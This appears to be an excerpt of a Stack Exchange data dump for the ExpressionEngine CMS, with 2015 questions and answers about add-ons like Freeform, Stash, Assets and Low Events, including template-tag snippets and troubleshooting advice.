  <row Id="34565" PostTypeId="2" ParentId="34552" CreationDate="2015-10-29T05:08:09.480" Score="0" Body="&lt;p&gt;I forgot that back in 2.5.2 the Relationship tag pair was {related_entries}, not the short name of the field itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the correct usage in my example, if anyone needs it, is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;packages&quot; orderby=&quot;date&quot; sort=&quot;asc&quot; limit=&quot;3&quot;}&#xA;    {related_entries id=&quot;design&quot;}&#xA;        {title}&#xA;    {/related_entries}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3230" LastActivityDate="2015-10-29T05:08:09.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34566" PostTypeId="1" AcceptedAnswerId="34568" CreationDate="2015-10-29T11:08:32.433" Score="0" ViewCount="45" Body="&lt;p&gt;I have run into an issue with the addon Wyvern where the field in the publish/edit pages doesn't display as described in this support ticket: &lt;a href=&quot;https://boldminded.com/support/ticket/773&quot; rel=&quot;nofollow&quot;&gt;https://boldminded.com/support/ticket/773&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured my best option to resolve the issue is to follow the first response and reinstall Wyvern:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You might have to set all your Wyvern fields to textarea, uninstall, then reinstall Wyvern and assign the fields back to Wyvern.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But before I do that I want to be sure that this process is safe. It would mean converting about a dozen fields to Textarea (Rich Text) and back. Would changing the filetype strip out anything that might be unique to Wyvern, or would it just leave the source code intact until Wyvern was reinstalled?&lt;/p&gt;&#xA;" OwnerUserId="3230" LastActivityDate="2015-10-29T12:50:58.050" Title="Fixing Wyvern/CKEditor" Tags="|add-on|fieldtype|ckeditor|wyvern|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34567" PostTypeId="2" ParentId="34554" CreationDate="2015-10-29T11:53:50.377" Score="0" Body="&lt;p&gt;I think it might be a bug in EE 2.2.2.  I created a new member group, moved the accounts across to the new group, with the same permissions and it appears to be all ok now.&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2015-10-29T11:53:50.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34568" PostTypeId="2" ParentId="34566" CreationDate="2015-10-29T12:50:58.050" Score="1" Body="&lt;p&gt;Changing the fieldtype won't strip out data. Internally Wyvern, Wygwam, or any WYSIWYG editor just saves the data to a normal text column in the database. Changing the type to textarea just ensures that it contains the same blob of text that contains html, but nothing enacts on it or tries to modify it. So in short, yes you are safe in doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Always backup your database though.&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2015-10-29T12:50:58.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34569" PostTypeId="2" ParentId="34544" CreationDate="2015-10-29T13:47:56.603" Score="0" Body="&lt;p&gt;(I work at Vector Media Group; we make CartThrob)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't something CartThrob supports out of the box, but it could be done via a custom gateway. Feel free to &lt;a href=&quot;https://www.cartthrob.com/support/index.php?pg=request&quot; rel=&quot;nofollow&quot;&gt;get in touch&lt;/a&gt; if you'd like to discuss that more!&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2015-10-29T13:47:56.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34570" PostTypeId="2" ParentId="34544" CreationDate="2015-10-29T17:10:05.823" Score="0" Body="&lt;p&gt;I don't think any of the Big 3 (BrilliantRetail, Carthrob, Store) support ACH out of the box but all can be extended. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a link to the BR docs on creating a custom gateway:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.brilliantretail.com/3-extending-brilliantretail/payment-gateways/index.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.brilliantretail.com/3-extending-brilliantretail/payment-gateways/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best, &#xA;David &lt;/p&gt;&#xA;" OwnerUserId="125" LastActivityDate="2015-10-29T17:10:05.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34571" PostTypeId="1" AcceptedAnswerId="34574" CreationDate="2015-10-29T19:39:51.877" Score="1" ViewCount="83" Body="&lt;p&gt;I am beginning the transition to EE 3.0 and have not been able to find a list of compatible plugins, add-ons, etc. Is there such a list? &lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2015-10-29T20:38:52.253" Title="What Addons are compatible with EE 3.0?" Tags="|add-on|wygwam|module|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34572" PostTypeId="1" CreationDate="2015-10-29T19:58:57.123" Score="1" ViewCount="41" Body="&lt;p&gt;I'm using Freemember to register members. I have my return parameter set up correctly (see below). When I submit the form the the member does get registered in the back end but the page just goes blank and remains at form page, does not go to the return page. I had this working and have disabled/uninstalled any other add-ons that I added since setting up Freemember. I don't understand why this is happening. Please help. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the form code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freemember:register form_id=&quot;jumpstart_register&quot; form_class=&quot;form&quot; form_name=&quot;jumpstart_register&quot; return=&quot;jumpstart/guidelines&quot; error_handling=&quot;inline&quot; error_delimiters=&quot;&amp;lt;span class='form_error'&amp;gt;|&amp;lt;/span&amp;gt;&quot; require=&quot;first_name|last_name|phone|email|password&quot; group_id=&quot;7&quot;}&#xA;&#xA;            &amp;lt;label class=&quot;req&quot; for=&quot;first_name&quot;&amp;gt;First Name&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;            {field:first_name}&#xA;            {error:first_name}&amp;lt;br /&amp;gt;&#xA;&#xA;            &amp;lt;label class=&quot;req&quot; for=&quot;last_name&quot;&amp;gt;Last Name&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;            {field:last_name}&#xA;            {error:last_name}&amp;lt;br /&amp;gt;&#xA;&#xA;            &amp;lt;label class=&quot;req&quot; for=&quot;phone&quot;&amp;gt;Phone&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;            {field:phone}&#xA;            {error:phone}&amp;lt;br /&amp;gt;&#xA;&#xA;            &amp;lt;label class=&quot;req&quot; for=&quot;email&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;            {field:email}&#xA;            {error:email}&amp;lt;br /&amp;gt;&#xA;&#xA;            &amp;lt;label class=&quot;req&quot; for=&quot;password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;            {field:password}&#xA;            {error:password}&amp;lt;br /&amp;gt;&#xA;&#xA;            &amp;lt;label class=&quot;req&quot; for=&quot;password_confirm&quot;&amp;gt;Confirm Password&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;            {field:password_confirm}&#xA;            {error:password_confirm}&amp;lt;br /&amp;gt;&#xA;&#xA;            &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Important Notice:&amp;lt;/strong&amp;gt; It is in your best interests, as well as Ganeden's, that you have fully read, understood, and comply with the Submission &amp;lt;a href=&quot;{path='jumpstart/view/terms-conditions'}&quot;&amp;gt;Terms &amp;amp;amp; Conditions&amp;lt;/a&amp;gt;. If there are any terms or conditions that you did not fully understand, please reread them, and if you are still uncertain, seek legal counsel before making a submission to this website.&amp;lt;br/&amp;gt;&#xA;            {field:accept_terms} &amp;lt;label class=&quot;req&quot; for=&quot;accept_terms&quot;&amp;gt;I accept the &amp;lt;a href=&quot;{path='jumpstart/view/terms-conditions'}&quot;&amp;gt;terms &amp;amp;amp; conditions&amp;lt;/a&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;            {error:accept_terms}&#xA;            &amp;lt;/p&amp;gt;&#xA;&#xA;            &amp;lt;input type=&quot;checkbox&quot; name=&quot;us_based&quot; id=&quot;us_based&quot; value=&quot;yes&quot; /&amp;gt;&amp;lt;label class=&quot;req&quot; for=&quot;us_based&quot;&amp;gt;I and/or my company are based in the U.S.&amp;lt;/label&amp;gt;&#xA;            &amp;lt;span id=&quot;us_based_error&quot; class=&quot;form_error&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&#xA;&#xA;        &amp;lt;div&amp;gt;&#xA;            &amp;lt;input class=&quot;button&quot; type=&quot;submit&quot; value=&quot;SUBMIT&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/exp:freemember:register}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6791" LastActivityDate="2016-05-14T05:36:55.950" Title="Free member on submit blank page" Tags="|freemember|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34573" PostTypeId="2" ParentId="34572" CreationDate="2015-10-29T20:32:02.207" Score="0" Body="&lt;p&gt;Turns out I also had mx-notify-control installed (not being used) and I missed it when I was going through and disabling add-ons. It was creating the conflict. Problem solved.&lt;/p&gt;&#xA;" OwnerUserId="6791" LastActivityDate="2015-10-29T20:32:02.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34574" PostTypeId="2" ParentId="34571" CreationDate="2015-10-29T20:38:52.253" Score="4" Body="&lt;p&gt;I found the answer. Devotee has a list &lt;a href=&quot;https://devot-ee.com/add-ons/filter?&amp;amp;f=ee3&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2015-10-29T20:38:52.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34575" PostTypeId="1" CreationDate="2015-10-29T21:41:07.040" Score="0" ViewCount="80" Body="&lt;p&gt;I have a grid field named 'cf_results', which has a column named 'file' which is an assets data type. The other columns are text types named 'link-text' and 'link-url'. There will either be a file or a link-url but not both.&#xA;I'm getting a set of 3 PHP error notices for every entry on the page, regardless of there being data in the assets field of an entry or not see attached screenshot. But it all seems to be working otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vY6Ht.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vY6Ht.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if cf_results}&#xA;    &amp;lt;ul&amp;gt;                        &#xA;    {cf_results}&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;{cf_results:file}{cf_results:link-url}&quot;&amp;gt;{cf_results:link-text}&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    {/cf_results}&#xA;    &amp;lt;/ul&amp;gt;&#xA;{if:else}&#xA;    &amp;lt;p&amp;gt;Results will be available soon.&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="483" LastActivityDate="2016-06-10T22:04:30.323" Title="Assets field in a grid field PHP error message" Tags="|assets|grid|php-errors|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34579" PostTypeId="1" CreationDate="2015-10-30T17:03:25.900" Score="0" ViewCount="316" Body="&lt;p&gt;My Assets plugin is not working on EE 2.4.  It continually loads.  Also when I try to add an asset when adding an entry, nothing comes up when I click &quot;Add File&quot;.  &lt;a href=&quot;https://i.stack.imgur.com/dyBdB.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dyBdB.jpg&quot; alt=&quot;Asset Screen&quot;&gt;&lt;/a&gt;  I have Super Admin access and when I click &quot;Settings&quot; I just get a blank field for &quot;License Key&quot;&lt;/p&gt;&#xA;" OwnerUserId="6306" LastActivityDate="2015-10-30T20:16:34.197" Title="Assets Module Not Working" Tags="|assets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34580" PostTypeId="2" ParentId="34579" CreationDate="2015-10-30T17:32:16.537" Score="0" Body="&lt;p&gt;This type of behavior is usually caused by a missing script asset. Open your browsers developer tools (F12 or Command+Alt+i) and look at the developer console or network tab to see if some files aren't loading. Also, you might see other errors in your console; perhaps you've recently added an accessory that is dumping extra scripts on the page that they are namespace collisions with something related to Assets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Often, just re-uploading the third-party themes folder for an add-on resolves these issues. &lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-10-30T17:32:16.537" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34581" PostTypeId="2" ParentId="34579" CreationDate="2015-10-30T20:16:34.197" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at . (Reason: CORS header 'Access-Control-Allow-Origin' missing).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;By default browsers won't let JavaScript requests that originate on one domain make a call to another domain, so they'll show that error you're receiving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of EE and Assets, that usually means you're accessing the EE control panel from a different domain that's specified in your &lt;code&gt;Admin-&amp;gt;General Configuration-&amp;gt;URL to your &quot;themes&quot; folder&lt;/code&gt; and &lt;code&gt;URL to the root directory of your site&lt;/code&gt; settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And keep in mind that &lt;code&gt;www.domain.com&lt;/code&gt; and &lt;code&gt;domain.com&lt;/code&gt; are technically considered two different domains. That often trips people up.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2015-10-30T20:16:34.197" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34583" PostTypeId="1" CreationDate="2015-11-01T19:16:52.687" Score="0" ViewCount="98" Body="&lt;p&gt;We have a relatively simple form that won't register any submissions even though there is no outward sign of an error. Manual submissions via the CP work just fine. I'm trying out FF to use FF Pro on a new site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried varying parameters with little to no luck. I've noticed some issues with Freeform so I'm assuming this is something on our end.&#xA;EE 2.93 and FF Pro 4.2.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is located at: &lt;a href=&quot;http://www.apothekergroup.com/site/test&quot; rel=&quot;nofollow&quot;&gt;http://www.apothekergroup.com/site/test&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any assistance.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:freeform:form&#xA;form_id=&quot;3&quot;&#xA;return=&quot;_forms/thank-you&quot; &#xA;notify_admin=&quot;yes&quot;&#xA;notify=&quot;justin@suissa.com&quot;&#xA;admin_template=&quot;admin_user_registration_notication&quot;&#xA;form_name=&quot;initial_event_registration&quot;&#xA;&#xA;    }&#xA;&#xA;&#xA;                                &amp;lt;div class=&quot;row mar-lr-none&quot;&amp;gt;&#xA;                                    &amp;lt;div class=&quot;large-12 columns&quot;&amp;gt;&#xA;                                        &amp;lt;label&amp;gt; &amp;lt;h6 class=&quot;bold primary-color&quot;&amp;gt; STEP 1/3: &amp;lt;/h6&amp;gt; &amp;lt;/label&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;div class=&quot;large-12 columns&quot;&amp;gt;&#xA; &amp;lt;p&amp;gt;&#xA;        &amp;lt;label&amp;gt;{freeform:label:full_name}&amp;lt;/label&amp;gt;&#xA;        {freeform:field:full_name}&#xA;&#xA;    &amp;lt;/p&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;div class=&quot;large-12 columns&quot;&amp;gt;&#xA;   &amp;lt;p&amp;gt;&#xA;        &amp;lt;label&amp;gt;{freeform:label:email}&amp;lt;/label&amp;gt;&#xA;        {freeform:field:email}&#xA;&#xA;    &amp;lt;/p&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;div class=&quot;large-12 columns&quot;&amp;gt;&#xA;   &amp;lt;p&amp;gt;&#xA;        &amp;lt;label&amp;gt;{freeform:label:confirm_email}&amp;lt;/label&amp;gt;&#xA;        {freeform:field:confirm_email}&#xA;&#xA;    &amp;lt;/p&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;&#xA;                                    &amp;lt;div class=&quot;large-12 columns&quot;&amp;gt;&#xA;   &amp;lt;p&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;/p&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;&#xA;                                    &amp;lt;div class=&quot;large-12 columns text-right&quot;&amp;gt;&#xA;                                    &amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot; /&amp;gt; &#xA;                                {freeform:submit}&#xA;&#xA;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        {/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1654" LastEditorUserId="1654" LastEditDate="2015-11-01T23:11:56.500" LastActivityDate="2016-06-18T04:49:01.200" Title="Freeform Pro Won't Register Form Submissons" Tags="|solspace-freeform|solspace|forms|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34584" PostTypeId="1" CreationDate="2015-11-01T20:02:50.067" Score="0" ViewCount="21" Body="&lt;p&gt;I'm trying to sell a product at a reduce price in a basic store:product tag. I just need a button that when clicked adds the product to the cart with the reduced price, however, it keeps getting added to the cart at the full $200 price, not the reduce amount of 150.00. Any help in figuring this out would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product entry_id=&quot;{entry_id}&quot;}&#xA;    &amp;lt;input type=&quot;hidden&quot; id=&quot;item_qty&quot; name=&quot;item_qty&quot; value=&quot;{min_order_qty}&quot; /&amp;gt;&#xA;    {modifiers}&#xA;        {modifier_options}&#xA;            {if option_name == &quot;special&quot;}&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;{modifier_input_name}&quot; value=&quot;{price_mod_val}&quot; /&amp;gt;&#xA;                &amp;lt;button name=&quot;update_cart&quot; class=&quot;btn btn-primary&quot;&amp;gt;Your Price &amp;lt;span&amp;gt;({price_inc_mod})&amp;lt;/span&amp;gt;&amp;lt;/button&amp;gt;&#xA;            {/if}&#xA;        {/modifier_options}&#xA;    {/modifiers}&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Uzshh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uzshh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2015-11-02T11:53:59.340" Title="Store: Trouble with discounted products" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34585" PostTypeId="2" ParentId="34583" CreationDate="2015-11-01T20:15:26.947" Score="0" Body="&lt;p&gt;I'll take a shot at it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A common issue...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you visit &lt;code&gt;Members -&amp;gt; Member Preferences&lt;/code&gt; in your Control Panel, is your &lt;code&gt;Require Terms of Service&lt;/code&gt; preference set to &lt;code&gt;Yes&lt;/code&gt;? If so, I think you need to put a checkbox in your FreeForm form to get past that in front-end registrations. Try setting that preference to &lt;code&gt;No&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-11-01T20:15:26.947" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34586" PostTypeId="2" ParentId="34521" CreationDate="2015-11-01T20:23:20.933" Score="0" Body="&lt;p&gt;It's a known bug that has been reported to Ellislab - &lt;a href=&quot;https://support.ellislab.com/bugs/detail/21118/member-custom-fields-not-showing-on-profile-edit&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/21118/member-custom-fields-not-showing-on-profile-edit&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2015-11-01T20:23:20.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34587" PostTypeId="2" ParentId="34517" CreationDate="2015-11-01T20:25:56.810" Score="1" Body="&lt;p&gt;In your channel entries tag where you output map markers you could add a conditional and add a class to the icon container.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2015-11-01T20:25:56.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34589" PostTypeId="1" CreationDate="2015-11-02T04:14:57.573" Score="0" ViewCount="268" Body="&lt;p&gt;I’m stumped on something. I’m trying to (using AJAX) allow users to filter events by their location. So you can choose either Region or Country from selects that are populated with the addon REEgion Select. Whatever you select then becomes &lt;code&gt;segment_3&lt;/code&gt;. Pretty straightforward. If you chose a Region, it’s no problem to just use that segment as the search, but because there’s some overlap between the two letter codes (CA is Canada and California), I created a conditional to determine what is being returned, and am trying to use stash to get that conditional variable into the search function of the &lt;code&gt;{exp:calendar:events}&lt;/code&gt; tag.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is that tag: &#xA;&lt;code&gt;{exp:calendar:events event_limit=&quot;30&quot; channel=&quot;calendar_events&quot; date_range_start=&quot;today&quot; date_range_end=&quot;1 year&quot; search:address='{exp:stash:get name='region_search' random}' dynamic=&quot;no”}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here’s the stash variables I created:&#xA;&lt;code&gt;{exp:stash:set name=&quot;region_stash&quot;}{exp:reegion_select:countries}{if segment_3 == &quot;{region_alpha3}&quot;}{region_alpha2}{/if}{/exp:reegion_select:countries}{/exp:stash:set}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:stash:set name=&quot;region_search&quot;} {if '{exp:stash:get name=&quot;region_stash&quot; random}' == ''} &quot;region&quot;:&quot;{segment_3}&quot; {if:else} &quot;country&quot;:&quot;{exp:stash:get name=&quot;region_stash&quot; random}&quot; {/if} {/exp:stash:set}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:stash:get name=&quot;region_search&quot; random}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;outside of the tag, this stashed variable works great and renders no problem. Do you guys know what I’m doing wrong? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://globalcelebration.com/test-site/events/&quot; rel=&quot;nofollow&quot;&gt;Here it is in action.&lt;/a&gt;&#xA;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="6073" LastActivityDate="2019-03-19T21:01:22.163" Title="Stash Variable as channel entries search parameter" Tags="|channel-entries|stash|search|solspace-calendar|ajax|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34590" PostTypeId="1" CreationDate="2015-11-02T06:58:00.907" Score="0" ViewCount="35" Body="&lt;p&gt;I have a channel for &quot;projects&quot;, and each project has multiple before and after images associated with it. What would be the best way of organizing this in terms of channel fields? I'm currently using the Channel Images (CI) addon to manage images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought using EE's Grid or P&amp;amp;T's Matrix would be ideal, but CI doesn't seem to be compatible with either. I could technically use Grid with the File fieldtype, but it obviously wouldn't have the adaptive capabilities of CI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing I could think of was to create two separate CI fields, one for before and one for after, but how would I link each image to its counterpart?&lt;/p&gt;&#xA;" OwnerUserId="3230" LastEditorUserId="3230" LastEditDate="2015-11-02T13:46:42.847" LastActivityDate="2015-11-02T13:46:42.847" Title="Before and after images for each entry" Tags="|matrix|grid|channel-images|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34591" PostTypeId="2" ParentId="34589" CreationDate="2015-11-02T07:01:06.840" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/support/stash/viewthread/13292#43305&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; you can find a description on how to solve your issue.&lt;/p&gt;&#xA;" OwnerUserId="6205" LastActivityDate="2015-11-02T07:01:06.840" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34592" PostTypeId="1" AcceptedAnswerId="34593" CreationDate="2015-11-02T09:23:44.617" Score="0" ViewCount="40" Body="&lt;p&gt;I have a site with the following url:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;domain.com/theater/events/2016-01-13&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On said page I have this tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_events:entries channel=&quot;events&quot; date=&quot;{segment_3}&quot; limit=&quot;1&quot;}&#xA;   &amp;lt;option&amp;gt;{title}/ {event:start_date}&amp;lt;/option&amp;gt;&#xA;{/exp:low_events:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now &lt;code&gt;{event:start_date}&lt;/code&gt; always displays &lt;code&gt;2015-12-01&lt;/code&gt; no matter what happens in the &lt;code&gt;url_segment&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I replace &lt;code&gt;{event:start_date}&lt;/code&gt; with &lt;code&gt;{segment_3}&lt;/code&gt; It shows the right date but then I'can't reformat the date. Anyone had this problem before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I further examined the problem. If I remove &lt;code&gt;limit=&quot;1&quot;&lt;/code&gt; then there are two entries displayed. One is the correct date and one is always the &lt;code&gt;2015-12-01&lt;/code&gt;. Ho can I just grab the date which matches the &lt;code&gt;url_segment&lt;/code&gt; &lt;/p&gt;&#xA;" OwnerUserId="184" LastEditorUserId="184" LastEditDate="2015-11-02T11:46:22.447" LastActivityDate="2015-11-02T13:23:37.523" Title="Low Events: wrong date displayed" Tags="|date|low-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34593" PostTypeId="2" ParentId="34592" CreationDate="2015-11-02T10:09:59.550" Score="1" Body="&lt;p&gt;The URL has the date in &lt;code&gt;{segment_2}&lt;/code&gt; and you're using &lt;code&gt;date=&quot;{segment_3}&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if the entry/event spans multiple days, the start_date will display the event's start date, not the current date given.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Note that using &lt;code&gt;date=&quot;...&quot;&lt;/code&gt; is specifically designed to display events according to a date range. Using &lt;code&gt;date=&quot;2016-01-13&quot;&lt;/code&gt; will display all events that are &lt;em&gt;active&lt;/em&gt; on January 13th 2015. This includes events that start that day, that end that day and that are active during that day (start before and end after).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're after displaying a &lt;em&gt;single&lt;/em&gt; entry/event, you can also just use the channel:entries tag like you would with any old single entry, and use the entry's url_title to determine which entry/event you want to show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2:&lt;/strong&gt; After &lt;a href=&quot;https://getsatisfaction.com/low/topics/url-segment-displays-the-wrong-date#reply_16279812&quot; rel=&quot;nofollow&quot;&gt;some investigation&lt;/a&gt; it turned out there &lt;em&gt;were&lt;/em&gt; events that span multiple days (years even). Correcting those entries solved the issue.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2015-11-02T13:23:37.523" LastActivityDate="2015-11-02T13:23:37.523" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34594" PostTypeId="2" ParentId="34584" CreationDate="2015-11-02T11:53:59.340" Score="1" Body="&lt;p&gt;The issue was that the input value needed to be {option_id}, not {price_mod_val}&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2015-11-02T11:53:59.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34596" PostTypeId="2" ParentId="34517" CreationDate="2015-11-02T16:28:51.117" Score="1" Body="&lt;p&gt;Thanks Bluedreamer. To get the desired result I ended up having to not use the module and go with plain vanilla Google Maps code. I created a Stash variable using the channel entries tag to create an array, then added that Stash variable to the GM code.&lt;/p&gt;&#xA;" OwnerUserId="6070" LastActivityDate="2015-11-02T16:28:51.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
